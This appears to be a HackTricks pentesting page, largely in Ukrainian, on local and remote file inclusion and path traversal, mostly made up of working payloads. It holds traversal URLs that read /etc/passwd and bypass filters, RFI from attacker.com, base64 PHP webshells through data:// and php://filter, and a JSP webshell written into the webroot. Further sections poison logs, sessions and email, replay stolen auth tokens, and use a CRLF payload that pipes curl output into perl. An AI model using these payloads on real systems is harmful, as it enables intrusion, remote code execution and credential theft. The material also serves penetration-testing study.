File Inclusion/Path traversal

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

File Inclusion

Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (Найкраще: you can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.

Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.

Уразливі PHP-функції: require, require_once, include, include_once

Цікавий інструмент для експлуатації цієї вразливості: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Поєднавши кілька *nix LFI списків і додавши більше шляхів, я створив цей:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Спробуйте також змінити / на \
Спробуйте також додати ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Об’єднання різних wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Спробуйте також змінити / на \
Спробуйте також видалити C:/ і додати ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Перевірте LFI список для Linux.

Основні LFI та обходи

Усі приклади стосуються Local File Inclusion, але їх також можна застосувати до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences видалені нерекурсивно

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass додавання зайвих символів у кінець наданого рядка (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Це вирішено з PHP 5.4

Кодування

Ви можете використовувати нестандартні кодування, наприклад double URL encode (та інші):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Сучасні HTML-to-PDF движки (наприклад, TCPDF або оболонки на кшталт html2pdf) охоче обробляють HTML, SVG, CSS та URL шрифтів, надані атакуючим, але вони виконуються всередині довірених бекенд-мереж з доступом до файлової системи. Якщо ви зможете інжектити HTML у $pdf->writeHTML()/Html2Pdf::writeHTML(), ви часто можете exfiltrate локальні файли, які може читати обліковий запис веб-сервера.

  • Fingerprint the renderer: кожен згенерований PDF містить поле Producer (наприклад TCPDF 6.8.2). Знання точної збірки показує, які фільтри шляхів застосовані і чи відбувається URL decoding перед валідацією.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() читає атрибут xlink:href з елементів <image> перед тим, як викликати urldecode(). Вбудовування шкідливого SVG всередину data URI змушує багато HTML sanitizers ігнорувати payload, тоді як TCPDF все одно його розбирає:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF додає на початок $_SERVER['DOCUMENT_ROOT'] до шляхів, що починаються з /, і лише пізніше вирішує .., тому використовуйте або провідні сегменти ../../.., або /../../.. щоб вийти за межі root після цього додавання.

  • Encoding to bypass naive filters: Версії ≤6.8.2 перевіряють лише буквальну підстроку ../ до декодування URL. Надсилання ..%2f (або ..%2F) в SVG або в сирому атрибуті <img src> обходить перевірку, бо послідовність dot-dot-slash відновлюється лише після того, як TCPDF викликає urldecode().
  • Double-encoding for multi-stage decoding: Якщо введення користувача декодується веб-фреймворком та TCPDF, двічі кодуйте слеш (%252f). Одне декодування перетворює його на %2f, друге декодування в TCPDF перетворює на /, даючи /..%252f../../../../… без того, щоб ранній фільтр коли-небудь побачив ../.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() містить ту ж помилку порядку операцій, дозволяючи прямі HTML payloads, такі як src="%2f..%252f..%252ftmp%252fsecret.png", читати будь-яку локально доступну bitmap.

This technique leaks anything readable by the PDF worker (скани паспортів, API keys, відображені як зображення тощо). Hardeners виправили це в 6.9.1 шляхом канонізації шляхів (isRelativePath()), тож під час тестів віддавайте перевагу старішим версіям Producer.

From existent folder

Можливо, бекенд перевіряє шлях до папки:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Дослідження каталогів файлової системи на server

Файлову систему server можна рекурсивно обстежити, щоб виявити каталоги, а не лише файли, застосовуючи певні методи. Цей процес включає визначення глибини каталогів та перевірку наявності конкретних папок. Нижче наведено докладний метод, як це зробити:

  1. Визначення глибини каталогу: Визначте глибину поточного каталогу, успішно отримавши файл /etc/passwd (застосовується, якщо server на базі Linux). Приклад URL може бути побудований таким чином, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Перевірка папок: Додайте назву підозрілої папки (наприклад, private) до URL, потім поверніться до /etc/passwd. Додатковий рівень директорії вимагає збільшення глибини на один:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Інтерпретація результатів:
  • Error / No Output: Тека private ймовірно не існує за вказаним шляхом.
  • Contents of /etc/passwd: Наявність теки private підтверджується.
  1. Рекурсивне дослідження: Знайдені теки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні Local File Inclusion (LFI) методи.

Для дослідження директорій у різних місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить /var/www/ теку private (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation — це метод, що використовується для маніпуляції файловими шляхами в web-додатках. Його часто застосовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів. Мета — створити файловий шлях, який після зміни заходом безпеки все ще вказуватиме на потрібний файл.

У PHP різні представлення файлового шляху можуть вважатися еквівалентними через особливості файлової системи. Наприклад:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ вважаються одним і тим же шляхом.
  • Якщо останні 6 символів — passwd, додавання / (тобто passwd/) не змінює цільовий файл.
  • Аналогічно, якщо до шляху додається .php (наприклад shellcode.php), додавання /. в кінці не змінює файл, до якого відбувається доступ.

Наведені приклади демонструють, як використовувати path truncation для доступу до /etc/passwd, що є поширеною ціллю через його чутливий вміст (інформація про облікові записи користувачів):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

У цих сценаріях кількість необхідних traversals може становити близько 2027, але це число може варіюватися залежно від конфігурації сервера.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) у поєднанні з додатковими dot segments і символами можна використовувати для навігації файловою системою, ефективно ігноруючи рядки, додані сервером.
  • Determining the Required Number of Traversals: Через метод спроб і помилок можна знайти точну кількість ../ послідовностей, необхідних для переходу до кореневої директорії, а потім до /etc/passwd, забезпечуючи нейтралізацію будь-яких доданих рядків (наприклад, .php), при збереженні бажаного шляху (/etc/passwd).
  • Starting with a Fake Directory: Зазвичай шлях починають з неіснуючої директорії (наприклад, a/). Ця техніка використовується як запобіжний захід або для задоволення вимог логіки розбору шляхів сервера.

При застосуванні path truncation techniques важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто потрібне тестування для визначення найефективнішого методу.

Ця вразливість була виправлена в PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

У php це вимкнено за замовчуванням, оскільки allow_url_include є Off. Воно має бути On, щоб це працювало, і в такому випадку ви могли б включити PHP-файл із вашого сервера та отримати RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Якщо з якоїсь причини allow_url_include встановлено On, але PHP фільтрує доступ до зовнішніх веб-сторінок, відповідно до цього допису, ви можете, наприклад, використати data-протокол з base64, щоб декодувати b64 PHP-код і отримати RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

У попередньому коді фінальний +.txt було додано, тому що attacker needed a string that ended in .txt, тож рядок закінчується ним, і після b64 decode ця частина поверне лише сміття, а реальний PHP code буде включено (і, отже, виконано).

Ще один приклад без використання протоколу php:// буде:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Кореневий елемент

У python у коді, схожому на цей:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Якщо користувач передає абсолютний шлях до file_name, попередній шлях просто видаляється:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Це передбачувана поведінка згідно з the docs:

Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і подальше з’єднання починається з цього абсолютного шляху.

Java — перелік директорій

Здається, якщо у вас є Path Traversal у Java і ви запитуєте директорію замість файлу, то повертається список вмісту директорії. Це не траплятиметься в інших мовах (наскільки мені відомо).

Топ 25 параметрів

Ось список топ-25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI з використанням PHP wrappers & protocols

php://filter

PHP filters дозволяють виконувати базові операції модифікації над даними до того, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags from the data (everything between “<” and “>” chars)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console: iconv -l

Warning

Зловживаючи фільтром конвертації convert.iconv.*, ви можете згенерувати довільний текст, що може бути корисно для запису довільного тексту або для того, щоб функція на кшталт include опрацювала довільний текст. Для детальнішої інформації перегляньте LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Decompress the data
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Інші фільтри
  • Якщо в PHP виконати var_dump(stream_get_filters());, ви можете знайти кілька неочікуваних фільтрів:
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Частина “php://filter” нечутлива до регістру

Використання php filters як oracle для читання довільних файлів

In this post пропонується техніка для читання локального файлу без повернення виводу від сервера. Ця техніка базується на boolean exfiltration of the file (char by char) using php filters як oracle. Це відбувається тому, що php filters можна використовувати, щоб зробити текст достатньо великим і змусити php згенерувати виняток.

У оригінальній публікації можна знайти детальний опис техніки, а тут — коротке резюме:

  • Використовуйте кодек UCS-4LE, щоб залишити початковий символ тексту на початку й зробити розмір рядка експоненційно більшим.
  • Це використовується для генерації тексту, настільки великого при правильному вгадуванні початкової літери, що php спровокує error.
  • Фільтр dechunk видалить усе, якщо перший символ не є шістнадцятковим, тож ми можемо визначити, чи перший символ — hex.
  • Це в поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери) дозволяє вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості трансформацій вона перестає бути шістнадцятковим символом. Бо якщо вона hex, dechunk її не видалить і початкова «бомба» викличе php error.
  • Кодек convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє визначити, чи перша літера, наприклад, — a, тому що якщо застосувати 6 таких кодеків: a->b->c->d->e->f->g, літера вже не буде шістнадцятковим символом, отже dechunk її не видалить і php error буде спричинено через множення початкової «бомби».
  • Використовуючи інші трансформації, наприклад rot13 на початку, можна leak-нути інші символи, як n, o, p, q, r (і інші кодеки можна використовувати, щоб перемістити інші літери в діапазон hex).
  • Коли початковий символ — число, потрібно закодувати його в base64 і leak-нути перші 2 літери, щоб витягти число.
  • Остаточна проблема — побачити how to leak more than the initial letter. Використовуючи фільтри для зміни порядку байтів, такі як convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можливо змінити порядок символів і помістити в першу позицію інші літери тексту.
  • І щоб мати змогу отримати further data, ідея полягає в тому, щоб generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб це pivot with the next 2 bytes, та delete the data until the junk data (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не дійдете до бажаного біта для leak.

У пості також був опублікований інструмент для автоматизації: php_filters_chain_oracle_exploit.

php://fd

Цей wrapper дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ви також можете використовувати php://stdin, php://stdout and php://stderr для доступу до file descriptors 0, 1 and 2 відповідно (не впевнений, наскільки це може бути корисно під час атаки)

zip:// and rar://

Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб мати можливість зловживати rar protocol, його потрібно спеціально активувати.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Зауважте, що цей протокол обмежений конфігураціями php allow_url_open та allow_url_include

expect://

Expect має бути активований. Ви можете виконувати код за допомогою цього:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Вкажіть payload у параметрах POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Файл .phar може бути використаний для виконання PHP-коду, коли вебзастосунок використовує функції, такі як include, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Щоб скомпілювати файл .phar, потрібно виконати наступну команду:

php --define phar.readonly=0 create_path.php

Після виконання буде створено файл з іменем test.phar, який потенційно може бути використаний для експлуатації уразливостей Local File Inclusion (LFI).

У випадках, коли LFI лише читає файл без виконання PHP-коду всередині, через функції такі як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize(), можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов’язана з читанням файлів з використанням протоколу phar.

Для детального розуміння експлуатації вразливостей десеріалізації у контексті файлів .phar, зверніться до документа за посиланням нижче:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Було можливим зловживати any arbitrary file read from PHP that supports php filters щоб отримати RCE. Детальний опис можна found in this post.
Дуже коротко: 3 byte overflow в PHP heap було використано, щоб alter the chain of free chunks певного розміру з метою write anything in any address, тому був доданий hook для виклику system.
Було можливо alloc chunks певних розмірів, зловживаючи додатковими php filters.

More protocols

Перегляньте більше можливих protocols to include here:

  • php://memory and php://temp — Запис у пам’ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці file inclusion)
  • file:// — Доступ до локальної файлової системи
  • http:// — Доступ до HTTP(s) URL-ів
  • ftp:// — Доступ до FTP(s) URL-ів
  • zlib:// — Потоки стиснення
  • glob:// — Пошук шляхів, що відповідають шаблону (не повертає нічого придатного для друку, тож тут не дуже корисний)
  • ssh2:// — Secure Shell 2
  • ogg:// — Аудіопотоки (не корисно для читання довільних файлів)

LFI через ‘assert’ у PHP

Ризик Local File Inclusion (LFI) у PHP особливо високий при роботі з функцією ‘assert’, яка може виконувати код, вкладений у рядки. Це особливо проблематично, якщо введення, що містить символи для обходу директорій, такі як “..”, перевіряється, але не належним чином очищається.

Наприклад, PHP-код може бути написаний, щоб запобігти обходу директорій таким чином:

assert("strpos('$file', '..') === false") or die("");

Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб скористатися цим для читання вмісту файлу, нападник міг би використати:

' and die(highlight_file('/etc/passwd')) or '

Аналогічно, для виконання довільних системних команд можна використати:

' and die(system("id")) or '

Важливо URL-encode these payloads.

PHP Blind Path Traversal

Warning

Ця техніка релевантна у випадках, коли ви control the file path of a PHP function яка буде access a file, але ви не бачитe вміст файлу (наприклад простий виклик file()) — вміст не показується.

В this incredible post пояснюється, як blind path traversal можна зловживати через PHP filter щоб exfiltrate the content of a file via an error oracle.

У підсумку, техніка використовує “UCS-4LE” encoding щоб зробити вміст файлу настільки big, що PHP function opening файл викличе error.

Потім, щоб leak the first char, фільтр dechunk використовується разом з іншими, такими як base64 або rot13, і врешті фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE використовуються, щоб place other chars at the beggining and leak them.

Функції, які можуть бути вразливими: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Для технічних деталей див. згаданий пост!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Коли серверний код, який приймає/завантажує файли, будує шлях призначення, використовуючи дані під контролем користувача (наприклад, filename або URL) без канонізації та перевірки, сегменти .. і абсолютні шляхи можуть вийти за межі призначеної директорії й спричинити arbitrary file write. Якщо ви можете розмістити payload у веб-доступній директорії, зазвичай отримуєте unauthenticated RCE, розмістивши webshell.

Типовий робочий процес експлуатації:

  • Визначте write primitive в endpoint або background worker, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
  • Визначте директорії, доступні з вебу. Поширені приклади:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Сформуйте traversal path, який виведе за межі призначеної директорії у webroot і включіть ваш webshell.
  • Перейдіть до розміщеного payload і виконайте команди.

Примітки:

  • Уразливий сервіс, що виконує запис, може слухати на non-HTTP порту (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інший порт) пізніше обслуговуватиме ваш payload.
  • На Java-стеках ці записи файлів часто реалізовані простим конкатенуванням File/Paths. Відсутність canonicalisation/allow-listing — основний недолік.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Заходи захисту, які нейтралізують цей клас помилок:

  • Розв’язуйте до канонічного шляху та перевіряйте, що він є нащадком дозволеної базової директорії.
  • Відхиляйте будь-який шлях, що містить .., абсолютні корені або літери дисків; надавайте перевагу згенерованим іменам файлів.
  • Запускайте процес запису під обліковим записом з низькими привілеями та розділяйте директорії для запису від коренів, що обслуговуються.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

Warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Інші можливі шляхи до лог-файлів:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Словник для fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Читання access logs для збору GET-based auth tokens (token replay)

Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI primitive у web server logs, ви можете вкрасти ці токени з access logs і replay їх, щоб повністю обійти authentication.

Як це зробити:

  • Використайте traversal/LFI для читання web server access log. Поширені розташування:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Деякі endpoints повертають file reads Base64-encoded. Якщо так, декодуйте локально і перегляньте рядки логів.
  • Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Декодуйте body, якщо воно у Base64, потім відтворіть перехоплений token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Примітки:

  • Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
  • Якщо додаток підтримує кілька імен токенів, шукайте поширені ключі, такі як AuthenticationToken, token, sid, access_token.
  • Rotate any tokens that may have leaked to logs.

Via Email

Send a mail до внутрішнього акаунта (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте include лист користувача за шляхом типу /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Upload a lot of shells (for example : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Via /proc/self/environ

Як і у випадку з лог-файлом, відправте payload у User-Agent — він буде відображений всередині файлу /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Якщо ви можете upload файл, просто inject the shell payload у нього (наприклад: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Щоб файл залишався читабельним, найкраще інжектувати в метадані pictures/doc/pdf

Через завантаження ZIP-файлу

Завантажте ZIP-файл, що містить стиснутий PHP shell, і відкрийте:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Через PHP sessions

Перевірте, чи сайт використовує PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

У PHP ці сесії зберігаються у /var/lib/php5/sess\[PHPSESSID]_ файлах

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Встановіть cookie значенням <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Використайте LFI, щоб включити файл сесії PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Через ssh

Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa

Через vsftpd logs

Логи FTP-сервера vsftpd розташовані за адресою /var/log/vsftpd.log. У випадку, коли існує Local File Inclusion (LFI) vulnerability і доступ до відкритого vsftpd сервера можливий, можна розглянути наступні кроки:

  1. Інжектуйте PHP payload у поле username під час процесу логіну.
  2. Після інжекції використайте LFI, щоб отримати логи сервера з /var/log/vsftpd.log.

Через php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Через php filters (файл не потрібен)

This writeup пояснює, що ви можете використовувати php filters to generate arbitrary content як вивід. Це, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.

LFI2RCE via PHP Filters

Через segmentation fault

Upload файл, який буде збережений як temporary в /tmp, потім в same request, спричиніть segmentation fault, і тоді temporary file won’t be deleted — ви зможете його знайти.

LFI2RCE via Segmentation Fault

Через Nginx temp file storage

Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, можливо, ви зможете отримати RCE за допомогою наступної техніки:

LFI2RCE via Nginx temp files

Через PHP_SESSION_UPLOAD_PROGRESS

Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви передасте PHP_SESSION_UPLOAD_PROGRESS в multipart POST даних, PHP enable the session for you. Це можна використати, щоб отримати RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Через temp file uploads in Windows

Якщо ви знайшли Local File Inclusion і сервер працює на Windows, ви можете отримати RCE:

LFI2RCE Via temp file uploads

Через pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Наведене нижче зловживає CRLF vuln, щоб отримати RCE (з here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
